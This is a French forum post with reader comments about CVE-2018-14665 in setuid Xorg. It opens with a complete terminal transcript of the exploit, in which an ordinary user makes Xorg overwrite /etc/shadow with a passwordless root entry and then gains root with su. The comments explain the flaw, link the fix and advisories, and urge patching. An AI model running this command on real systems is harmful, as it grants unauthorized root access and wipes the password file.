[Dev@localhost ~]$ id
uid=1000(Dev) gid=1000(Dev) groups=1000(Dev) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[Dev@localhost ~]$
[Dev@localhost ~]$ cd /etc
[Dev@localhost etc]$
[Dev@localhost etc]$ ls -la shadow----------. 1 root root 1241 Oct 10 01:15 shadow
[Dev@localhost etc]$
[Dev@localhost etc]$ cat shadowcat: shadow: Permission denied
[Dev@localhost etc]$
[Dev@localhost etc]$ Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1X.Org X Server 1.19.5
Release Date: 2017-10-12
X Protocol Version 11, Revision 0
Build Operating System: 3.10.0-693.17.1.el7.x86_64
Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
Build Date: 11 April 2018 04:40:54PM
Build ID: xorg-x11-server 1.19.5-5.el7
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org
to make sure that you have the latest version.
Markers: (--) probed, (**) from config file, (==) default setting,
(++) from command line, (!!) notice, (II) informational,
(WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(++) Log file: "shadow", Time: Wed Oct 10 01:16:10 2018
(==) Using config directory: "/etc/X11/xorg.conf.d"
(==) Using system config directory "/usr/share/X11/xorg.conf.d"
Cerror setting MTRR (base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument (22)
(II) Server terminated successfully (0). Closing log file.[Dev@localhost etc]$ ls -la shadow
-rw-r--r--. 1 root Dev 53897 Oct 10 01:16 shadow
[Dev@localhost etc]$
[Dev@localhost etc]$ cat shadow | grep "root::"root::16431:0:99999:7:::
[Dev@localhost etc]$
[Dev@localhost etc]$
[Dev@localhost etc]$ su
[root@localhost etc]#
[root@localhost etc]# iduid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023``
Bref patchez toutes vos machines qui peuvent avoir un xorg qui traine quelque part (et ça j'en ai vu des xorgs qui servent à rien installés par des presta, dba paresseux ou autre).
# petit oublis
Posté par Psychofox (Mastodon) . Évalué à 10. Dernière modification le 26 octobre 2018 à 11:05.
CVE-2018-14665 : Xorg X Server Vulnerabilities
La source de l'exemple d'utilisation de la faille: https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html
Le commit de correction : https://gitlab.freedesktop.org/xorg/xserver/commit/8a59e3b7dbb30532a7c3769c555e00d7c4301170
Le bug chez RH : https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-14665
l'annonce chez xorg : https://lists.x.org/archives/xorg-announce/2018-October/002927.html
(si quelqu'un veut bien les incorporer dans le corps du journal, c'est volontiers.
# Magnifique !
Posté par Boa Treize (site web personnel) . Évalué à 10.
Pour ceux qui n'auraient pas tout compris, la faille est là :
Sur de nombreuses machines, Xorg est setuid root. Lancé par un utilisateur normal il s'exécute donc automatiquement en tant que root.
La ligne de commande utilisée ci-dessus dit à Xorg d'écrire son log dans le fichier shadow, qui contient les mots de passe des utilisateurs sur les installations standard. Bien sûr normalement on n'écrit jamais dans shadow, sauf pour changer un utilisateur ou un mot de passe. Mais root peut écrire où bon lui semble.
L'argument à fp est incorrect pour Xorg, mais est une ligne correcte pour le fichier shadow ; au final Xorg en tant que root écrit cette ligne dans le fichier shadow. Puis il s'arrête car la ligne de commande est incorrecte.
Et cette ligne dans shadow dit tout simplement que l'utilisateur root n'a pas de mot de passe. Il suffit de faire su ou sudo pour passer en root sans mot de passe ! C'est pas discret car on a dégommé tout le reste du fichier, mais on s'en fout, on est root (et on peut restaurer la copie shadow- qui est souvent présente à côté du fichier shadow).
Bon, par contre il faut avoir un accès shell à la machine (ce qui est déjà une grosse porte ouverte), et il faut que le serveur Xorg soit setuid root, ce qui est de moins en moins le cas. Par exemple sous Ubuntu, il faut installer le paquet
xserver-xorg-legacy
pour avoir un Xorg setuid root, il n'est pas là par défaut.[^] # Re: Magnifique !
Posté par benpro (site web personnel) . Évalué à 5.
En effet sous Debian Stretch :
En fait c'est un wrapper vers
/usr/lib/xorg/Xorg.wrap
qui est bien setuid (Xwrapper.config(5)
).Par défaut on autorise (via
/etc/X11/Xwrapper.config
) que les connexions entty
et nonpts
donc on aura le droit à :Donc l'attaque ne fonctionnera pas via SSH. En revanche si on autorise tout le monde (
allowed_users=anybody
), là, l'attaque fonctionne.[^] # Re: Magnifique !
Posté par SChauveau . Évalué à 1.
Le fait que Xorg soit un wrapper vers Xorg.wrap ne change rien si ce dernier est setuid root.
Je viens de faire quelques tests sur ma debian/sid et le bug ne semble pas présent. Xorg.wrap est setuid root mais il échoue lors du renommage de /etc/shadow en /etc/shadow.old.
[^] # Re: Magnifique !
Posté par liberforce (site web personnel) . Évalué à 3.
Je manipule de moins en moins des fichiers systèmes, alors ceci ne m'évoquait plus grand chose:
root::16431:0:99999:7:::
Il faut commencer par comparer avec la ligne existance avec
sudo grep root /etc/shadow
. Pour comprendre un peu mieux je rajoute un extrait deman shadow
. C'est le 2ème champ vide (plutôt qu'avec un point d'exclamation, en tout cas sur ma vieille Ubuntu) qui ouvre la porte:[^] # Re: Magnifique !
Posté par jadfa . Évalué à 5.
Merci!
Juste pour completer, man xserver:
Passque moi je savais pas ce que c'était cette option…
[^] # Re: Magnifique !
Posté par Anonyme . Évalué à 4. Dernière modification le 29 octobre 2018 à 20:48.
Pas du tout :
Par contre sur la console, il suffit de taper
root
dans le champ login pour se connecter.# Ça l'air intéressant
Posté par Nanawel (site web personnel, Mastodon) . Évalué à 6.
Et inquiétant, mais un peu de mise en forme serait pas de refus (et il doit manquer des morceaux aussi).
# Quelques billes
Posté par ʭ ☯ . Évalué à 10.
Il est bon de noter que cette faille a été ajoutée dans Xorg 1.19, par un mauvais nettoyage de code commis il y a 2 ans. Les versions précédentes ne sont pas affectées car le log ne pouvait pas être écrit quand le binaire était lancé en SUID.
⚓ À g'Auch TOUTE! http://afdgauch.online.fr
[^] # Re: Quelques billes
Posté par tuxicoman (site web personnel) . Évalué à 3.
Le "nettoyage" ne fait qu'enlever le gardien.
On sait pourquoi cette modification a été effectuée ?
Et pourquoi ce code était interdit quand lancé en root auparavant?
[^] # Re: Quelques billes
Posté par Abcd . Évalué à -4.
On sait donc pourquoi x-window a de plus en plus de problèmes de sécurité:
D'une part parce qu'il a été conçu pour s'exécuter en mode administrateur, même si des utilisateurs non-privilégiés peuvent y accéder,
Et d'autre part parce que des gens qui prônent la sécurité à tout prix au mépris de toute autre considération font des modifications qui sont au dessus de leur niveau de compétence en ce qui concerne ce logiciel…
If it ain't broken, don't fix it, c'est pas faute de le dire et de le répéter!
Suivre le flux des commentaires
Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.